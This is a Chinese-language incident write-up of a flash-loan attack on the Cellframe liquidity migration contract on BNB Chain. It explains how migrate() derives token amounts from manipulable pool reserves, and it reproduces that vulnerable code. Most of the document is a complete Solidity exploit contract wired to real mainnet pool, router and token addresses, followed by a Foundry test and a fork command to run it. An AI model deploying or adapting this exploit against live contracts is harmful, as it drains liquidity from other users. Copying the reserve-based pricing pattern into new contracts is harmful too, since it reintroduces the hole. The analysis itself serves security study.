{"content":{"title":"Cellfram攻击事件分析及POC","body":"### 基础信息\r\n\r\n攻击者地址：\r\n\r\n0x2525c811ecf22fc5fcde03c67112d34e97da6079\r\n\r\n攻击合约：\r\n\r\n0x1e2a251b29e84e1d6d762c78a9db5113f5ce7c48\r\n\r\n攻击tx：\r\n\r\n0x943c2a5f89bc0c17f3fe1520ec6215ed8c6b897ce7f22f1b207fea3f79ae09a6\r\n\r\n相关其它合约\r\n\r\n- OLD_CELL = 0xf3E1449DDB6b218dA2C9463D4594CEccC8934346;\r\n- LP_OLD = 0x06155034f71811fe0D6568eA8bdF6EC12d04Bed2;\r\n- NEW_CELL = 0xd98438889Ae7364c7E2A3540547Fad042FB24642;\r\n- LP_NEW = 0x1c15f4E3fd885a34660829aE692918b4b9C1803d;\r\n\r\n### 漏洞代码分析\r\n\r\n迁移合约的工作原理是：将用户老的LP代币转到迁移合约地址，然后迁移合约调用removeLiquidity移除流动性。然后根据新池子中CELL和WBNB的比例，计算出需要的NEW CELL的数量。然后在新池子中添加流动性，新的LP代币会直接发送给用户。如果添加流动性需要的WBNB代币小于移除流动性获得的WBNB，那么将多余的WBNB退还给用户。\r\n\r\n攻击者可以通过闪电贷操纵池子中两种代币的比例，使得旧池子中WBNB增加，OLD CELL减少，新池子中WBNB减少，NEW CELL增加。这样会导致旧LP撤销流动性的时候会获得更多的WBNB，添加新池子的时候只需要少量WBNB。\r\n\r\n```solidity\r\nfunction migrate(uint amountLP) external  {\r\n\r\n        (uint token0,uint token1) = migrateLP(amountLP);\r\n        (uint eth,uint cell, ) = IUniswapV2Router01(LP_NEW).getReserves();     \r\n\r\n        uint resoult = cell/eth;              \r\n        token1 = resoult * token0;\r\n\r\n        IERC20(CELL).approve(ROUTER_V2,token1);\r\n        IERC20(WETH).approve(ROUTER_V2,token0);\r\n\r\n        (uint tokenA, , ) = IUniswapV2Router01(ROUTER_V2).addLiquidity(\r\n            WETH,\r\n            CELL,\r\n            token0,\r\n            token1,\r\n            0,\r\n            0,\r\n            msg.sender,\r\n            block.timestamp + 5000\r\n        );\r\n\r\n        uint balanceOldToken = IERC20(OLD_CELL).balanceOf(address(this));\r\n        IERC20(OLD_CELL).transfer(marketingAddress,balanceOldToken);\r\n\r\n        if (tokenA < token0) {\r\n            uint256 refund0 = token0 - tokenA;\r\n            IERC20(WETH).transfer(msg.sender,refund0);\r\n\r\n        }\r\n\r\n     }\r\n\r\n    function migrateLP(uint amountLP) internal returns(uint256 token0,uint256 token1) {\r\n\r\n        IERC20(LP_OLD).transferFrom(msg.sender,address(this),amountLP);\r\n        IERC20(LP_OLD).approve(ROUTER_V2,amountLP);\r\n\r\n        return IUniswapV2Router01(ROUTER_V2).removeLiquidity(\r\n            WETH,\r\n            OLD_CELL,\r\n            amountLP,\r\n            0,\r\n            0,\r\n            address(this),\r\n            block.timestamp + 5000\r\n        );\r\n\r\n    }\r\n```\r\n\r\n### 攻击过程分析\r\n\r\n1.攻击者从dodo借出WBNB。\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2023/06/09D6rWOX64848c0ba8f7f.png)\r\n\r\n2.从pancake V3中借出NEW CELL，并调用了攻击合约中的0xa1d48336方法。\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2023/06/lKOSGnkg64848c2870c30.png)\r\n\r\n3.通过调用0xa1d48336方法，在V2池子中将借来的NEW CELL全部换成了WBNB，然后将大量WBNB换成OLD CELL，这会导致新池子中WBNB减少，旧池子中OLD WBNB的比例升高。然后攻击者调用流动性迁移合约的migrate方法，移除旧池子流动性的时候，获得的WBNB会增多，然后添加新池子流动性的时候，只需要少量的WBNB。\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2023/06/wgjuZFPN64848c48d1929.png)\r\n\r\n4.然后将新池子中的lp代币移除流动性，获得WBNB和NEW CELL。\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2023/06/UdWP92Ar64848c562033f.png)\r\n\r\n5.因为之前借了NEW CELL，因此将WBNB换成换成NEW CELL，OLD CELL已经没用了，将OLD CELL换成WBNB，并偿还V3 pool借来的NEW CELL。\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2023/06/5NbgHRDD64848c6450da9.png)\r\n\r\n6.分别在V3和V2池子中将NEW CELL卖出换成WBNB，最后归还dodo闪电贷出的WBNB。\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2023/06/7yhAHi9L64848c700f1e4.png)\r\n\r\n### 漏洞复现\r\n\r\nPOC\r\n\r\n```solidity\r\n// SPDX-License-Identifier: MIT\r\npragma solidity 0.8.19;\r\nimport \"node_modules/@openzeppelin/contracts/token/ERC20/IERC20.sol\";\r\nimport \"node_modules/@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\";\r\nimport \"node_modules/@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol\";\r\nimport \"node_modules/@uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolActions.sol\";\r\n//import {ISwapRouter} from \"node_modules/@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol\";\r\nimport \"node_modules/@pancakeswap/v3-core/contracts/interfaces/callback/IPancakeV3SwapCallback.sol\";\r\n\r\n    address constant V3Pool = 0xA2C1e0237bF4B58bC9808A579715dF57522F41b2;\r\n    address constant ROUTER_V3 = 0x13f4EA83D0bd40E75C8222255bc855a974568Dd4;\r\n    address constant ROUTER_V2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\r\n\r\n    address constant LpMigration = 0xB4E47c13dB187D54839cd1E08422Af57E5348fc1;\r\n    address constant OLD_CELL = 0xf3E1449DDB6b218dA2C9463D4594CEccC8934346; // addr old cell token\r\n    address constant LP_OLD = 0x06155034f71811fe0D6568eA8bdF6EC12d04Bed2; // addr old lp token\r\n    address constant NEW_CELL =  0xd98438889Ae7364c7E2A3540547Fad042FB24642;// addr new cell token\r\n    address constant LP_NEW = 0x1c15f4E3fd885a34660829aE692918b4b9C1803d;// addr new lp token v2\r\n\r\n    address constant DoDoPool = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;\r\n    address constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\r\n    address constant BUSD = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;\r\n\r\n    uint constant borrowWBNBamount = 1000*1e18;\r\n    uint constant borrowNewCellAmount = 500000*1e18;\r\ninterface IV3SwapRouter is IPancakeV3SwapCallback {\r\n    struct ExactInputSingleParams {\r\n        address tokenIn;\r\n        address tokenOut;\r\n        uint24 fee;\r\n        address recipient;\r\n        uint256 amountIn;\r\n        uint256 amountOutMinimum;\r\n        uint160 sqrtPriceLimitX96;\r\n    }\r\n\r\n    /// @notice Swaps `amountIn` of one token for as much as possible of another token\r\n    /// @dev Setting `amountIn` to 0 will cause the contract to look up its own balance,\r\n    /// and swap the entire amount, enabling contracts to send tokens before calling this function.\r\n    /// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata\r\n    /// @return amountOut The amount of the received token\r\n    function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut);\r\n\r\n    struct ExactInputParams {\r\n        bytes path;\r\n        address recipient;\r\n        uint256 amountIn;\r\n        uint256 amountOutMinimum;\r\n    }\r\n\r\n    /// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path\r\n    /// @dev Setting `amountIn` to 0 will cause the contract to look up its own balance,\r\n    /// and swap the entire amount, enabling contracts to send tokens before calling this function.\r\n    /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata\r\n    /// @return amountOut The amount of the received token\r\n    function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut);\r\n\r\n    struct ExactOutputSingleParams {\r\n        address tokenIn;\r\n        address tokenOut;\r\n        uint24 fee;\r\n        address recipient;\r\n        uint256 amountOut;\r\n        uint256 amountInMaximum;\r\n        uint160 sqrtPriceLimitX96;\r\n    }\r\n\r\n    /// @notice Swaps as little as possible of one token for `amountOut` of another token\r\n    /// that may remain in the router after the swap.\r\n    /// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata\r\n    /// @return amountIn The amount of the input token\r\n    function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn);\r\n\r\n    struct ExactOutputParams {\r\n        bytes path;\r\n        address recipient;\r\n        uint256 amountOut;\r\n        uint256 amountInMaximum;\r\n    }\r\n\r\n    /// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed)\r\n    /// that may remain in the router after the swap.\r\n    /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata\r\n    /// @return amountIn The amount of the input token\r\n    function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn);\r\n}\r\ninterface ILpMigration{\r\n    function migrate(uint amountLP) external;\r\n}\r\ninterface WETH{\r\n    function approve(address spender, uint256 amount) external returns (bool);\r\n    function balanceOf(address account) external view returns (uint256);\r\n    function withdraw(uint256 amount) external;\r\n    function deposit() external payable;\r\n    function transfer(address recipient, uint256 amount) external returns (bool);\r\n}\r\n\r\n/// @title Router token swapping functionality\r\n/// @notice Functions for swapping tokens via PancakeSwap V3\r\n\r\ninterface IDODO {\r\n    function flashLoan(\r\n        uint256 baseAmount,\r\n        uint256 quoteAmount,\r\n        address assetTo,\r\n        bytes calldata data\r\n    ) external;\r\n    function _BASE_TOKEN_() external view returns (address);\r\n}\r\n\r\ncontract DODOFlashloan {\r\n    function dodoFlashLoan(\r\n        address flashLoanPool, //You will make a flashloan from this DODOV2 pool\r\n        uint256 loanAmount, \r\n        address loanToken\r\n    ) public  {\r\n        //Note: The data can be structured with any variables required by your logic. The following code is just an example\r\n        bytes memory data = abi.encode(flashLoanPool, loanToken, loanAmount);\r\n        address flashLoanBase = IDODO(flashLoanPool)._BASE_TOKEN_();\r\n        if(flashLoanBase == loanToken) {\r\n            IDODO(flashLoanPool).flashLoan(loanAmount, 0, address(this), data);\r\n        } else {\r\n            IDODO(flashLoanPool).flashLoan(0, loanAmount, address(this), data);\r\n        }\r\n    }\r\n\r\n    //Note: CallBack function executed by DODOV2(DVM) flashLoan pool\r\n    function DVMFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount,bytes calldata data) external {\r\n        _flashLoanCallBack(sender,baseAmount,quoteAmount,data);\r\n    }\r\n\r\n    //Note: CallBack function executed by DODOV2(DPP) flashLoan pool\r\n    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\r\n        _flashLoanCallBack(sender,baseAmount,quoteAmount,data);\r\n    }\r\n\r\n    //Note: CallBack function executed by DODOV2(DSP) flashLoan pool\r\n    function DSPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\r\n        _flashLoanCallBack(sender,baseAmount,quoteAmount,data);\r\n    }\r\n\r\n    function v2swap(uint256 amount0,uint256 amount1,address[] memory path) public{\r\n        IUniswapV2Router02(ROUTER_V2).swapExactTokensForTokensSupportingFeeOnTransferTokens(amount0,amount1,path,address(this),block.timestamp);\r\n    }\r\n\r\n    function _flashLoanCallBack(address sender, uint256, uint256, bytes calldata data) internal {\r\n        (address flashLoanPool, address loanToken, uint256 loanAmount) = abi.decode(data, (address, address, uint256));\r\n\r\n        require(sender == address(this) && msg.sender == flashLoanPool, \"HANDLE_FLASH_NENIED\");\r\n\r\n        //Note: Realize your own logic using the token from flashLoan pool.\r\n        IUniswapV3PoolActions v3pool = IUniswapV3PoolActions(V3Pool);\r\n\r\n        v3pool.flash(address(this),0,borrowNewCellAmount,\"\");\r\n\r\n        //将new cell换成wbnb\r\n        IERC20(NEW_CELL).approve(ROUTER_V3,type(uint256).max);\r\n        IERC20(NEW_CELL).balanceOf(address(this));\r\n        IERC20(WBNB).balanceOf(address(this));\r\n\r\n        _swap(NEW_CELL,WBNB,500,IERC20(NEW_CELL).balanceOf(address(this)));\r\n\r\n        IERC20(loanToken).transfer(flashLoanPool, 1000*1e18);\r\n    }\r\n    function _swap(\r\n        address tokenIn,\r\n        address tokenOut,\r\n        uint24 fee,\r\n        uint amountIn\r\n    ) private returns (uint amountOut) {\r\n        IV3SwapRouter.ExactInputSingleParams memory params = IV3SwapRouter\r\n            .ExactInputSingleParams({\r\n                tokenIn: tokenIn,\r\n                tokenOut: tokenOut,\r\n                fee: fee,\r\n                recipient: address(this),\r\n                amountIn: amountIn,\r\n                amountOutMinimum: 0,\r\n                sqrtPriceLimitX96: 0\r\n            });\r\n\r\n        amountOut = IV3SwapRouter(ROUTER_V3).exactInputSingle(params);\r\n    }\r\n}\r\n\r\ncontract Attack is DODOFlashloan{\r\n\r\n    //添加流动性\r\n    function addLiqu() public payable{\r\n        WETH(WBNB).deposit{value:msg.value}();\r\n        IERC20(WBNB).approve(ROUTER_V2,type(uint256).max);\r\n        address[] memory  path = new address[](2);\r\n        path[0] = WBNB;\r\n        path[1] = OLD_CELL;\r\n        v2swap(0.05*1e18, 0, path);\r\n        IERC20(OLD_CELL).approve(ROUTER_V2,type(uint256).max);\r\n        IUniswapV2Router02(ROUTER_V2).addLiquidity(OLD_CELL,WBNB,IERC20(OLD_CELL).balanceOf(address(this)),50000000000000000,0,0,address(this),block.timestamp);\r\n    }\r\n    receive() external payable {}\r\n\r\n    function test() view external returns(uint256){\r\n        return IERC20(LP_OLD).balanceOf(address(this));\r\n    }\r\n     function test2() view external returns(uint256){\r\n        return IERC20(WBNB).balanceOf(address(this));\r\n    }\r\n\r\n    function hack() external{\r\n        dodoFlashLoan(DoDoPool,borrowWBNBamount,WBNB);\r\n    }\r\n\r\n    function pancakeV3FlashCallback(\r\n        uint256 ,\r\n        uint256 ,\r\n        bytes calldata\r\n    ) external {\r\n        IERC20(NEW_CELL).approve(ROUTER_V2,type(uint256).max);\r\n        address[] memory  path = new address[](2);\r\n        path[0] = NEW_CELL;\r\n        path[1] = WBNB;\r\n        IERC20(NEW_CELL).balanceOf(address(this));\r\n        //将借来的new cell全部换成wbnb\r\n        v2swap(borrowNewCellAmount, 0, path);\r\n\r\n        address[] memory  path2 = new address[](2);\r\n        path2[0] = WBNB;\r\n        path2[1] = OLD_CELL;\r\n        //将900个wbnb换成old cell\r\n        v2swap(900*1e18, 0, path2);\r\n\r\n        //迁移流动性\r\n        IERC20(LP_OLD).approve(LpMigration, type(uint256).max);\r\n        //ILpMigration(LpMigration).migrate(IERC20(LP_OLD).balanceOf(address(this)));\r\n        ILpMigration(LpMigration).migrate(1*1e18);\r\n\r\n        //销毁new lp，获得两种代币\r\n        IERC20(LP_NEW).transfer(LP_NEW,IERC20(LP_NEW).balanceOf(address(this)));\r\n        IUniswapV2Pair(LP_NEW).burn(address(this));\r\n\r\n        //将wbnb换成new cell\r\n        IERC20(WBNB).approve(ROUTER_V2,type(uint256).max);\r\n        address[] memory  path3 = new address[](2);\r\n        path3[0] = WBNB;\r\n        path3[1] = NEW_CELL;\r\n        v2swap(IERC20(WBNB).balanceOf(address(this)), 0, path3);\r\n\r\n        //将old cell换成wbnb\r\n        IERC20(OLD_CELL).approve(ROUTER_V2,type(uint256).max);\r\n        address[] memory  path4 = new address[](2);\r\n        path4[0] = OLD_CELL;\r\n        path4[1] = WBNB;\r\n        IUniswapV2Router02(ROUTER_V2).swapExactTokensForTokensSupportingFeeOnTransferTokens(IERC20(OLD_CELL).balanceOf(address(this)),0,path4,address(this),block.timestamp);\r\n        //偿还new cell借款\r\n        IERC20(NEW_CELL).transfer(V3Pool,500250000000000000000000);\r\n    }\r\n}\r\n```\r\n\r\n测试脚本：\r\n\r\n```solidity\r\n// SPDX-License-Identifier: UNLICENSED\r\npragma solidity ^0.8.13;\r\n\r\nimport \"lib/forge-std/src/Test.sol\";\r\nimport \"../src/attack.sol\";\r\nimport \"lib/forge-std/src/console2.sol\";\r\n\r\ncontract AttackTest is Test {\r\n    Attack public attack;\r\n\r\n    function setUp() public {\r\n        attack = new Attack();\r\n    }\r\n\r\n    function testattack() public {\r\n        address attacker = vm.addr(1);\r\n        vm.prank(attacker);\r\n        vm.deal(attacker, 1 ether);\r\n        attack.addLiqu{value:0.1 ether}();\r\n        attack.hack();\r\n        console2.log(attack.test2());\r\n    }\r\n}\r\n```\r\n\r\n运行测试脚本：\r\n```\r\nforge test --fork-url https://rpc.ankr.com/bsc --fork-block-number 28708273 -vvv\r\n```"},"author":{"user":"https://learnblockchain.cn/people/11441","address":null},"history":null,"timestamp":1686408494,"version":1}